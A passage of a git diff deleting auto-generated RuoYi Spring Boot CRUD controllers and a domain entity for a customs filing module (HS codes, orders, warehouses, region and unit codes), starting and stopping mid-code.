@PutMapping - public AjaxResult edit(@RequestBody CustomHsCode customHsCode) - { - return toAjax(customHsCodeService.updateCustomHsCode(customHsCode)); - } - - /** - * 删除HS编码 - */ - @PreAuthorize("@ss.hasPermi('custom:hsCode:remove')") - @Log(title = "HS编码", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customHsCodeService.deleteCustomHsCodeByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomInventoryController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomInventoryController.java deleted file mode 100644 index 0dc293d..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomInventoryController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomInventory; -import com.ruoyi.custom.service.ICustomInventoryService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 正面清单Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/inventory") -public class CustomInventoryController extends BaseController -{ - @Autowired - private ICustomInventoryService customInventoryService; - - /** - * 查询正面清单列表 - */ - @PreAuthorize("@ss.hasPermi('custom:inventory:list')") - @GetMapping("/list") - public TableDataInfo list(CustomInventory customInventory) - { - startPage(); - List list = customInventoryService.selectCustomInventoryList(customInventory); - return getDataTable(list); - } - - /** - * 导出正面清单列表 - */ - @PreAuthorize("@ss.hasPermi('custom:inventory:export')") - @Log(title = "正面清单", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomInventory customInventory) - { - List list = customInventoryService.selectCustomInventoryList(customInventory); - ExcelUtil util = new ExcelUtil(CustomInventory.class); - return util.exportExcel(list, "inventory"); - } - - /** - * 获取正面清单详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:inventory:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customInventoryService.selectCustomInventoryById(id)); - } - - /** - * 新增正面清单 - */ - @PreAuthorize("@ss.hasPermi('custom:inventory:add')") - @Log(title = "正面清单", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomInventory customInventory) - { - return toAjax(customInventoryService.insertCustomInventory(customInventory)); - } - - /** - * 修改正面清单 - */ - @PreAuthorize("@ss.hasPermi('custom:inventory:edit')") - @Log(title = "正面清单", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomInventory customInventory) - { - return toAjax(customInventoryService.updateCustomInventory(customInventory)); - } - - /** - * 删除正面清单 - */ - @PreAuthorize("@ss.hasPermi('custom:inventory:remove')") - @Log(title = "正面清单", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customInventoryService.deleteCustomInventoryByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomOrderController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomOrderController.java deleted file mode 100644 index 16b37e2..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomOrderController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomOrder; -import com.ruoyi.custom.service.ICustomOrderService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 备案订单Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/order") -public class CustomOrderController extends BaseController -{ - @Autowired - private ICustomOrderService customOrderService; - - /** - * 查询备案订单列表 - */ - @PreAuthorize("@ss.hasPermi('custom:order:list')") - @GetMapping("/list") - public TableDataInfo list(CustomOrder customOrder) - { - startPage(); - List list = customOrderService.selectCustomOrderList(customOrder); - return getDataTable(list); - } - - /** - * 导出备案订单列表 - */ - @PreAuthorize("@ss.hasPermi('custom:order:export')") - @Log(title = "备案订单", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomOrder customOrder) - { - List list = customOrderService.selectCustomOrderList(customOrder); - ExcelUtil util = new ExcelUtil(CustomOrder.class); - return util.exportExcel(list, "order"); - } - - /** - * 获取备案订单详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:order:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customOrderService.selectCustomOrderById(id)); - } - - /** - * 新增备案订单 - */ - @PreAuthorize("@ss.hasPermi('custom:order:add')") - @Log(title = "备案订单", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomOrder customOrder) - { - return toAjax(customOrderService.insertCustomOrder(customOrder)); - } - - /** - * 修改备案订单 - */ - @PreAuthorize("@ss.hasPermi('custom:order:edit')") - @Log(title = "备案订单", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomOrder customOrder) - { - return toAjax(customOrderService.updateCustomOrder(customOrder)); - } - - /** - * 删除备案订单 - */ - @PreAuthorize("@ss.hasPermi('custom:order:remove')") - @Log(title = "备案订单", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customOrderService.deleteCustomOrderByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomOrderItemController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomOrderItemController.java deleted file mode 100644 index 6f27fa5..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomOrderItemController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomOrderItem; -import com.ruoyi.custom.service.ICustomOrderItemService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 备案订单项Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/orderItem") -public class CustomOrderItemController extends BaseController -{ - @Autowired - private ICustomOrderItemService customOrderItemService; - - /** - * 查询备案订单项列表 - */ - @PreAuthorize("@ss.hasPermi('custom:orderItem:list')") - @GetMapping("/list") - public TableDataInfo list(CustomOrderItem customOrderItem) - { - startPage(); - List list = customOrderItemService.selectCustomOrderItemList(customOrderItem); - return getDataTable(list); - } - - /** - * 导出备案订单项列表 - */ - @PreAuthorize("@ss.hasPermi('custom:orderItem:export')") - @Log(title = "备案订单项", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomOrderItem customOrderItem) - { - List list = customOrderItemService.selectCustomOrderItemList(customOrderItem); - ExcelUtil util = new ExcelUtil(CustomOrderItem.class); - return util.exportExcel(list, "orderItem"); - } - - /** - * 获取备案订单项详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:orderItem:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customOrderItemService.selectCustomOrderItemById(id)); - } - - /** - * 新增备案订单项 - */ - @PreAuthorize("@ss.hasPermi('custom:orderItem:add')") - @Log(title = "备案订单项", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomOrderItem customOrderItem) - { - return toAjax(customOrderItemService.insertCustomOrderItem(customOrderItem)); - } - - /** - * 修改备案订单项 - */ - @PreAuthorize("@ss.hasPermi('custom:orderItem:edit')") - @Log(title = "备案订单项", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomOrderItem customOrderItem) - { - return toAjax(customOrderItemService.updateCustomOrderItem(customOrderItem)); - } - - /** - * 删除备案订单项 - */ - @PreAuthorize("@ss.hasPermi('custom:orderItem:remove')") - @Log(title = "备案订单项", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customOrderItemService.deleteCustomOrderItemByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomParcelNumberController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomParcelNumberController.java deleted file mode 100644 index b6aeaef..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomParcelNumberController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomParcelNumber; -import com.ruoyi.custom.service.ICustomParcelNumberService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 行邮税号Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/parcelNumber") -public class CustomParcelNumberController extends BaseController -{ - @Autowired - private ICustomParcelNumberService customParcelNumberService; - - /** - * 查询行邮税号列表 - */ - @PreAuthorize("@ss.hasPermi('custom:parcelNumber:list')") - @GetMapping("/list") - public TableDataInfo list(CustomParcelNumber customParcelNumber) - { - startPage(); - List list = customParcelNumberService.selectCustomParcelNumberList(customParcelNumber); - return getDataTable(list); - } - - /** - * 导出行邮税号列表 - */ - @PreAuthorize("@ss.hasPermi('custom:parcelNumber:export')") - @Log(title = "行邮税号", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomParcelNumber customParcelNumber) - { - List list = customParcelNumberService.selectCustomParcelNumberList(customParcelNumber); - ExcelUtil util = new ExcelUtil(CustomParcelNumber.class); - return util.exportExcel(list, "parcelNumber"); - } - - /** - * 获取行邮税号详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:parcelNumber:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customParcelNumberService.selectCustomParcelNumberById(id)); - } - - /** - * 新增行邮税号 - */ - @PreAuthorize("@ss.hasPermi('custom:parcelNumber:add')") - @Log(title = "行邮税号", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomParcelNumber customParcelNumber) - { - return toAjax(customParcelNumberService.insertCustomParcelNumber(customParcelNumber)); - } - - /** - * 修改行邮税号 - */ - @PreAuthorize("@ss.hasPermi('custom:parcelNumber:edit')") - @Log(title = "行邮税号", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomParcelNumber customParcelNumber) - { - return toAjax(customParcelNumberService.updateCustomParcelNumber(customParcelNumber)); - } - - /** - * 删除行邮税号 - */ - @PreAuthorize("@ss.hasPermi('custom:parcelNumber:remove')") - @Log(title = "行邮税号", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customParcelNumberService.deleteCustomParcelNumberByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomProductRecordController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomProductRecordController.java deleted file mode 100644 index 03cf131..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomProductRecordController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomProductRecord; -import com.ruoyi.custom.service.ICustomProductRecordService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 商品备案Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/productRecord") -public class CustomProductRecordController extends BaseController -{ - @Autowired - private ICustomProductRecordService customProductRecordService; - - /** - * 查询商品备案列表 - */ - @PreAuthorize("@ss.hasPermi('custom:productRecord:list')") - @GetMapping("/list") - public TableDataInfo list(CustomProductRecord customProductRecord) - { - startPage(); - List list = customProductRecordService.selectCustomProductRecordList(customProductRecord); - return getDataTable(list); - } - - /** - * 导出商品备案列表 - */ - @PreAuthorize("@ss.hasPermi('custom:productRecord:export')") - @Log(title = "商品备案", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomProductRecord customProductRecord) - { - List list = customProductRecordService.selectCustomProductRecordList(customProductRecord); - ExcelUtil util = new ExcelUtil(CustomProductRecord.class); - return util.exportExcel(list, "productRecord"); - } - - /** - * 获取商品备案详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:productRecord:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customProductRecordService.selectCustomProductRecordById(id)); - } - - /** - * 新增商品备案 - */ - @PreAuthorize("@ss.hasPermi('custom:productRecord:add')") - @Log(title = "商品备案", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomProductRecord customProductRecord) - { - return toAjax(customProductRecordService.insertCustomProductRecord(customProductRecord)); - } - - /** - * 修改商品备案 - */ - @PreAuthorize("@ss.hasPermi('custom:productRecord:edit')") - @Log(title = "商品备案", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomProductRecord customProductRecord) - { - return toAjax(customProductRecordService.updateCustomProductRecord(customProductRecord)); - } - - /** - * 删除商品备案 - */ - @PreAuthorize("@ss.hasPermi('custom:productRecord:remove')") - @Log(title = "商品备案", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customProductRecordService.deleteCustomProductRecordByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomRegionCodeController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomRegionCodeController.java deleted file mode 100644 index bcb2be1..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomRegionCodeController.java +++ /dev/null @@ -1,101 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomRegionCode; -import com.ruoyi.custom.service.ICustomRegionCodeService; -import com.ruoyi.common.utils.poi.ExcelUtil; - -/** - * 国家行政区划代码Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/regionCode") -public class CustomRegionCodeController extends BaseController -{ - @Autowired - private ICustomRegionCodeService customRegionCodeService; - - /** - * 查询国家行政区划代码列表 - */ - @PreAuthorize("@ss.hasPermi('custom:regionCode:list')") - @GetMapping("/list") - public AjaxResult list(CustomRegionCode customRegionCode) - { - List list = customRegionCodeService.selectCustomRegionCodeList(customRegionCode); - return AjaxResult.success(list); - } - - /** - * 导出国家行政区划代码列表 - */ - @PreAuthorize("@ss.hasPermi('custom:regionCode:export')") - @Log(title = "国家行政区划代码", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomRegionCode customRegionCode) - { - List list = customRegionCodeService.selectCustomRegionCodeList(customRegionCode); - ExcelUtil util = new ExcelUtil(CustomRegionCode.class); - return util.exportExcel(list, "regionCode"); - } - - /** - * 获取国家行政区划代码详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:regionCode:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customRegionCodeService.selectCustomRegionCodeById(id)); - } - - /** - * 新增国家行政区划代码 - */ - @PreAuthorize("@ss.hasPermi('custom:regionCode:add')") - @Log(title = "国家行政区划代码", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomRegionCode customRegionCode) - { - return toAjax(customRegionCodeService.insertCustomRegionCode(customRegionCode)); - } - - /** - * 修改国家行政区划代码 - */ - @PreAuthorize("@ss.hasPermi('custom:regionCode:edit')") - @Log(title = "国家行政区划代码", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomRegionCode customRegionCode) - { - return toAjax(customRegionCodeService.updateCustomRegionCode(customRegionCode)); - } - - /** - * 删除国家行政区划代码 - */ - @PreAuthorize("@ss.hasPermi('custom:regionCode:remove')") - @Log(title = "国家行政区划代码", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customRegionCodeService.deleteCustomRegionCodeByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomUnitCodeController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomUnitCodeController.java deleted file mode 100644 index 71066de..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomUnitCodeController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomUnitCode; -import com.ruoyi.custom.service.ICustomUnitCodeService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 计量单位代码Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/unitCode") -public class CustomUnitCodeController extends BaseController -{ - @Autowired - private ICustomUnitCodeService customUnitCodeService; - - /** - * 查询计量单位代码列表 - */ - @PreAuthorize("@ss.hasPermi('custom:unitCode:list')") - @GetMapping("/list") - public TableDataInfo list(CustomUnitCode customUnitCode) - { - startPage(); - List list = customUnitCodeService.selectCustomUnitCodeList(customUnitCode); - return getDataTable(list); - } - - /** - * 导出计量单位代码列表 - */ - @PreAuthorize("@ss.hasPermi('custom:unitCode:export')") - @Log(title = "计量单位代码", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomUnitCode customUnitCode) - { - List list = customUnitCodeService.selectCustomUnitCodeList(customUnitCode); - ExcelUtil util = new ExcelUtil(CustomUnitCode.class); - return util.exportExcel(list, "unitCode"); - } - - /** - * 获取计量单位代码详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:unitCode:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customUnitCodeService.selectCustomUnitCodeById(id)); - } - - /** - * 新增计量单位代码 - */ - @PreAuthorize("@ss.hasPermi('custom:unitCode:add')") - @Log(title = "计量单位代码", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomUnitCode customUnitCode) - { - return toAjax(customUnitCodeService.insertCustomUnitCode(customUnitCode)); - } - - /** - * 修改计量单位代码 - */ - @PreAuthorize("@ss.hasPermi('custom:unitCode:edit')") - @Log(title = "计量单位代码", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomUnitCode customUnitCode) - { - return toAjax(customUnitCodeService.updateCustomUnitCode(customUnitCode)); - } - - /** - * 删除计量单位代码 - */ - @PreAuthorize("@ss.hasPermi('custom:unitCode:remove')") - @Log(title = "计量单位代码", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customUnitCodeService.deleteCustomUnitCodeByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomWarehouseController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomWarehouseController.java deleted file mode 100644 index edc0385..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomWarehouseController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomWarehouse; -import com.ruoyi.custom.service.ICustomWarehouseService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 仓库Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/warehouse") -public class CustomWarehouseController extends BaseController -{ - @Autowired - private ICustomWarehouseService customWarehouseService; - - /** - * 查询仓库列表 - */ - @PreAuthorize("@ss.hasPermi('custom:warehouse:list')") - @GetMapping("/list") - public TableDataInfo list(CustomWarehouse customWarehouse) - { - startPage(); - List list = customWarehouseService.selectCustomWarehouseList(customWarehouse); - return getDataTable(list); - } - - /** - * 导出仓库列表 - */ - @PreAuthorize("@ss.hasPermi('custom:warehouse:export')") - @Log(title = "仓库", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomWarehouse customWarehouse) - { - List list = customWarehouseService.selectCustomWarehouseList(customWarehouse); - ExcelUtil util = new ExcelUtil(CustomWarehouse.class); - return util.exportExcel(list, "warehouse"); - } - - /** - * 获取仓库详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:warehouse:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customWarehouseService.selectCustomWarehouseById(id)); - } - - /** - * 新增仓库 - */ - @PreAuthorize("@ss.hasPermi('custom:warehouse:add')") - @Log(title = "仓库", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomWarehouse customWarehouse) - { - return toAjax(customWarehouseService.insertCustomWarehouse(customWarehouse)); - } - - /** - * 修改仓库 - */ - @PreAuthorize("@ss.hasPermi('custom:warehouse:edit')") - @Log(title = "仓库", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomWarehouse customWarehouse) - { - return toAjax(customWarehouseService.updateCustomWarehouse(customWarehouse)); - } - - /** - * 删除仓库 - */ - @PreAuthorize("@ss.hasPermi('custom:warehouse:remove')") - @Log(title = "仓库", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customWarehouseService.deleteCustomWarehouseByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCallback.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCallback.java deleted file mode 100644 index 87d698b..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCallback.java +++ /dev/null @@ -1,182 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 海关回查对象 custom_callback - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomCallback extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - - /** 用户代码 */ - @Excel(name = "用户代码") - private Long userId; - - /** 海关备案代码 */ - @Excel(name = "海关备案代码") - private String customsCode; - - /** 申报订单号 */ - @Excel(name = "申报订单号") - private String declareOrderNo; - - /** 会话ID */ - @Excel(name = "会话ID") - private String sessionId; - - /** 会话时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "会话时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date serviceTime; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - - /** 上传结果 */ - @Excel(name = "上传结果") - private String postResult; - - /** 上传次数 */ - @Excel(name = "上传次数") - private Long sendNumber; - - /** 上传时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "上传时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date sendTime; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setCustomsCode(String customsCode) - { - this.customsCode = customsCode; - } - - public String getCustomsCode() - { - return customsCode; - } - public void setDeclareOrderNo(String declareOrderNo) - { - this.declareOrderNo = declareOrderNo; - } - - public String getDeclareOrderNo() - { - return declareOrderNo; - } - public void setSessionId(String sessionId) - { - this.sessionId = sessionId; - } - - public String getSessionId() - { - return sessionId; - } - public void setServiceTime(Date serviceTime) - { - this.serviceTime = serviceTime; - } - - public Date getServiceTime() - { - return serviceTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - public void setPostResult(String postResult) - { - this.postResult = postResult; - } - - public String getPostResult() - { - return postResult; - } - public void setSendNumber(Long sendNumber) - { - this.sendNumber = sendNumber; - } - - public Long getSendNumber() - { - return sendNumber; - } - public void setSendTime(Date sendTime) - { - this.sendTime = sendTime; - } - - public Date getSendTime() - { - return sendTime; - } - - @Override - public String toString() { - return new 